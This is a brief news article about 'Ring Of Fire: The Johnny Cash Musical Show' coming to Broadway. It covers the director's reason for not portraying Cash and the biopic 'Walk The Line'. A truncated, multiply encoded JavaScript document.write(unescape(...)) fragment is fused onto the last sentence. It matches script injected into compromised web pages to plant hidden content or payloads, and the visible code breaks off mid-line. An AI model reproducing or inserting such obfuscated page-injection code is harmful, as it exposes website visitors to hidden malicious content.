Johnny Cash hits Broadway

Johnny Cash is the latest musician to have his back catalogue turned into a stage musical.

Songs by Cash, who died in 2003 aged 71, will be the basis for Ring Of Fire: The Johnny Cash Musical Show, due to to open on Broadway.

But Cash himself will not be portrayed in the show, which will instead take the form of a 'jukebox musical' like the Abba production, Mamma Mia, according to the BBC.

Director Richard Maltby explained the decision: "The persona, the voice, are unduplicatable, and the very best we could achieve would be a poor imitation."

The show, plans for which were approved by Cash before his death, received rave reviews during a short preview run in Buffalo, New York.

However, Cash will be portrayed by Joaquin Phoenix in the forthcoming big screen adaptation of his life story, Walk The Line.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;